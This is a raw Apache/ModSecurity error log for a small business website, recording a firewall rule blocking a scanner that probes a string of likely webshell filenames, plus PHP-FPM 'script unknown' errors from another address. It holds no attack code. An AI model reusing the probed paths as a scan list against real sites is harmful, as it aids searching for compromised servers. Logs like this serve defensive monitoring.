[Sat Apr 25 08:09:27.527863 2026] [:error] [pid 46083:tid 46087] [client 20.100.197.186:37183] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "aewGNzxw_Zq74vWdjmllhQAAAQA"]
[Sat Apr 25 08:09:29.938946 2026] [:error] [pid 44319:tid 44341] [client 20.100.197.186:20231] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aewGOczJPAVLUb2pWtJkDwAAAAw"]
[Sat Apr 25 08:09:31.012071 2026] [:error] [pid 46083:tid 46098] [client 20.100.197.186:29572] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aewGOzxw_Zq74vWdjmlljAAAAQs"]
[Sat Apr 25 08:09:34.176141 2026] [:error] [pid 46083:tid 46093] [client 20.100.197.186:58436] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aewGPjxw_Zq74vWdjmlljwAAAQY"]
[Sat Apr 25 08:09:36.178318 2026] [:error] [pid 46083:tid 46110] [client 20.100.197.186:53581] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aewGQDxw_Zq74vWdjmllkQAAARY"]
[Sat Apr 25 08:09:37.259271 2026] [:error] [pid 46083:tid 46096] [client 20.100.197.186:5814] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aewGQTxw_Zq74vWdjmlllAAAAQk"]
[Sat Apr 25 08:09:38.542122 2026] [:error] [pid 46083:tid 46111] [client 20.100.197.186:45414] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aewGQjxw_Zq74vWdjmlllwAAARc"]
[Sat Apr 25 08:09:39.835920 2026] [:error] [pid 46083:tid 46112] [client 20.100.197.186:45417] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aewGQzxw_Zq74vWdjmllmQAAARg"]
[Sat Apr 25 08:09:40.967561 2026] [:error] [pid 46083:tid 46092] [client 20.100.197.186:29019] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aewGRDxw_Zq74vWdjmllnwAAAQU"]
[Sat Apr 25 08:09:42.534670 2026] [:error] [pid 44319:tid 44338] [client 20.100.197.186:58435] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "aewGRszJPAVLUb2pWtJkGQAAAAk"]
[Sat Apr 25 08:09:44.236527 2026] [:error] [pid 44320:tid 44367] [client 20.100.197.186:29678] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "aewGSDmFqSpku_dij8iIvAAAAEs"]
[Sat Apr 25 08:09:47.323488 2026] [:error] [pid 44321:tid 44383] [client 20.100.197.186:20236] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "aewGS41b5lV-asWa_Y5DGAAAAIA"]
[Sat Apr 25 08:09:50.177163 2026] [:error] [pid 46083:tid 46093] [client 20.100.197.186:58481] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "aewGTjxw_Zq74vWdjmllpAAAAQY"]
[Sat Apr 25 08:09:52.650412 2026] [:error] [pid 46083:tid 46100] [client 20.100.197.186:44030] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aewGUDxw_Zq74vWdjmllpwAAAQ0"]
[Sat Apr 25 08:09:54.101499 2026] [:error] [pid 46083:tid 46088] [client 20.100.197.186:14546] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aewGUjxw_Zq74vWdjmllrAAAAQE"]
[Sat Apr 25 08:09:57.458146 2026] [:error] [pid 44425:tid 44436] [client 20.100.197.186:19305] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aewGVSUl-VlItvY2tR8uHAAAAMk"]
[Sat Apr 25 08:10:00.580123 2026] [:error] [pid 44425:tid 44450] [client 20.100.197.186:5777] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aewGWCUl-VlItvY2tR8uIgAAANc"]
[Sat Apr 25 08:10:03.737787 2026] [:error] [pid 44425:tid 44437] [client 20.100.197.186:43990] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aewGWyUl-VlItvY2tR8uJQAAAMo"]
[Sat Apr 25 08:10:05.272960 2026] [:error] [pid 44321:tid 44389] [client 20.100.197.186:46992] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aewGXY1b5lV-asWa_Y5DIgAAAIY"]
[Sat Apr 25 08:10:06.372207 2026] [:error] [pid 46083:tid 46104] [client 20.100.197.186:19311] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aewGXjxw_Zq74vWdjmllswAAARE"]
[Sat Apr 25 08:10:07.251365 2026] [:error] [pid 44321:tid 44384] [client 20.100.197.186:43994] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aewGX41b5lV-asWa_Y5DJQAAAIE"]
[Sat Apr 25 08:10:09.284307 2026] [:error] [pid 44425:tid 44437] [client 20.100.197.186:8502] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aewGYSUl-VlItvY2tR8uKwAAAMo"]
[Sat Apr 25 08:10:11.094606 2026] [:error] [pid 46083:tid 46101] [client 20.100.197.186:35455] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aewGYzxw_Zq74vWdjmlluQAAAQ4"]
[Sat Apr 25 08:10:12.603797 2026] [:error] [pid 44321:tid 44405] [client 20.100.197.186:5916] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aewGZI1b5lV-asWa_Y5DJwAAAJY"]
[Sat Apr 25 08:10:13.276798 2026] [:error] [pid 44425:tid 44436] [client 20.100.197.186:58495] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aewGZSUl-VlItvY2tR8uLwAAAMk"]
[Sat Apr 25 08:10:14.213456 2026] [:error] [pid 44320:tid 44366] [client 20.100.197.186:24222] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "aewGZjmFqSpku_dij8iIzwAAAEo"]
[Sat Apr 25 08:10:15.917095 2026] [:error] [pid 44425:tid 44450] [client 20.100.197.186:29040] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "aewGZyUl-VlItvY2tR8uMwAAANc"]
[Sat Apr 25 08:10:16.933263 2026] [:error] [pid 46083:tid 46095] [client 20.100.197.186:45402] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "aewGaDxw_Zq74vWdjmllxwAAAQg"]
[Sat Apr 25 08:10:19.128774 2026] [:error] [pid 44425:tid 44443] [client 20.100.197.186:10077] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "aewGayUl-VlItvY2tR8uOQAAANA"]
[Sat Apr 25 08:10:21.494256 2026] [proxy_fcgi:error] [pid 44321:tid 44389] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:21.757758 2026] [proxy_fcgi:error] [pid 44321:tid 44385] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:22.289053 2026] [proxy_fcgi:error] [pid 44321:tid 44395] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:22.563894 2026] [proxy_fcgi:error] [pid 44321:tid 44394] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:22.832405 2026] [proxy_fcgi:error] [pid 44321:tid 44393] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:23.095873 2026] [proxy_fcgi:error] [pid 44321:tid 44388] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:23.358600 2026] [proxy_fcgi:error] [pid 44321:tid 44397] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:23.622949 2026] [proxy_fcgi:error] [pid 44321:tid 44401] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:23.885966 2026] [proxy_fcgi:error] [pid 44321:tid 44386] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:24.155107 2026] [proxy_fcgi:error] [pid 44321:tid 44405] [client 20.100.197.186:20261] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:10:24.414954 2026] [:error] [pid 44321:tid 44391] [client 20.100.197.186:20261] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aewGcI1b5lV-asWa_Y5DOgAAAIg"]
[Sat Apr 25 08:10:25.249474 2026] [:error] [pid 44425:tid 44431] [client 20.100.197.186:19283] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aewGcSUl-VlItvY2tR8uPwAAAMQ"]
[Sat Apr 25 08:10:26.221498 2026] [:error] [pid 44425:tid 44448] [client 20.100.197.186:20283] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aewGciUl-VlItvY2tR8uQgAAANU"]
[Sat Apr 25 08:10:27.742994 2026] [:error] [pid 44321:tid 44390] [client 20.100.197.186:41113] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aewGc41b5lV-asWa_Y5DOwAAAIc"]
[Sat Apr 25 08:10:28.567426 2026] [:error] [pid 44319:tid 44348] [client 20.100.197.186:41118] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aewGdMzJPAVLUb2pWtJkPwAAABM"]
[Sat Apr 25 08:10:30.834119 2026] [:error] [pid 46083:tid 46103] [client 20.100.197.186:58471] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aewGdjxw_Zq74vWdjmlmKQAAARA"]
[Sat Apr 25 08:10:31.711900 2026] [:error] [pid 44320:tid 44372] [client 20.100.197.186:18411] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aewGdzmFqSpku_dij8iI1QAAAFA"]
[Sat Apr 25 08:10:33.530979 2026] [:error] [pid 44425:tid 44427] [client 20.100.197.186:30154] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aewGeSUl-VlItvY2tR8uSgAAAMA"]
[Sat Apr 25 08:10:35.939768 2026] [:error] [pid 46083:tid 46105] [client 20.100.197.186:15946] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aewGezxw_Zq74vWdjmlmLwAAARI"]
[Sat Apr 25 08:10:37.941601 2026] [:error] [pid 44320:tid 44376] [client 20.100.197.186:5155] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aewGfTmFqSpku_dij8iI1gAAAFQ"]
[Sat Apr 25 08:10:39.199115 2026] [:error] [pid 46083:tid 46094] [client 20.100.197.186:49207] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aewGfzxw_Zq74vWdjmlmOQAAAQc"]
[Sat Apr 25 08:10:41.958567 2026] [:error] [pid 44425:tid 44437] [client 20.100.197.186:24905] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aewGgSUl-VlItvY2tR8uXwAAAMo"]
[Sat Apr 25 08:10:42.868286 2026] [:error] [pid 44319:tid 44331] [client 20.100.197.186:22874] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "aewGgszJPAVLUb2pWtJkVAAAAAI"]
[Sat Apr 25 08:10:44.583578 2026] [:error] [pid 44321:tid 44397] [client 20.100.197.186:22864] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "aewGhI1b5lV-asWa_Y5DQQAAAI4"]
[Sat Apr 25 08:10:47.774853 2026] [:error] [pid 46083:tid 46091] [client 20.100.197.186:49625] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "aewGhzxw_Zq74vWdjmlmSgAAAQQ"]
[Sat Apr 25 08:10:48.785992 2026] [:error] [pid 44320:tid 44368] [client 20.100.197.186:60329] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "aewGiDmFqSpku_dij8iI5AAAAEw"]
[Sat Apr 25 08:10:50.722764 2026] [:error] [pid 46083:tid 46103] [client 20.100.197.186:54991] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "aewGijxw_Zq74vWdjmlmTwAAARA"]
[Sat Apr 25 08:10:53.272581 2026] [:error] [pid 46083:tid 46089] [client 20.100.197.186:8722] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "aewGjTxw_Zq74vWdjmlmXQAAAQI"]
[Sat Apr 25 08:10:55.569853 2026] [:error] [pid 44425:tid 44429] [client 20.100.197.186:59402] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "aewGjyUl-VlItvY2tR8ugAAAAMI"]
[Sat Apr 25 08:10:57.250142 2026] [:error] [pid 46083:tid 46094] [client 20.100.197.186:43390] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "aewGkTxw_Zq74vWdjmlmZQAAAQc"]
[Sat Apr 25 11:25:48.377661 2026] [proxy_fcgi:error] [pid 46083:tid 46111] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:48.630688 2026] [proxy_fcgi:error] [pid 46083:tid 46096] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:48.886983 2026] [proxy_fcgi:error] [pid 46083:tid 46101] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:50.392979 2026] [proxy_fcgi:error] [pid 46083:tid 46100] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:50.650598 2026] [proxy_fcgi:error] [pid 46083:tid 46098] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:50.912091 2026] [proxy_fcgi:error] [pid 46083:tid 46095] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:51.173088 2026] [proxy_fcgi:error] [pid 46083:tid 46099] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:51.426620 2026] [proxy_fcgi:error] [pid 46083:tid 46108] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:51.946987 2026] [proxy_fcgi:error] [pid 46083:tid 46089] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:52.201649 2026] [proxy_fcgi:error] [pid 46083:tid 46090] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:52.455485 2026] [proxy_fcgi:error] [pid 46083:tid 46097] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:52.728954 2026] [proxy_fcgi:error] [pid 46083:tid 46110] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:52.986924 2026] [proxy_fcgi:error] [pid 46083:tid 46102] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 11:25:53.248568 2026] [proxy_fcgi:error] [pid 46083:tid 46101] [client 45.137.126.50:45885] AH01071: Got error 'Primary script unknown'
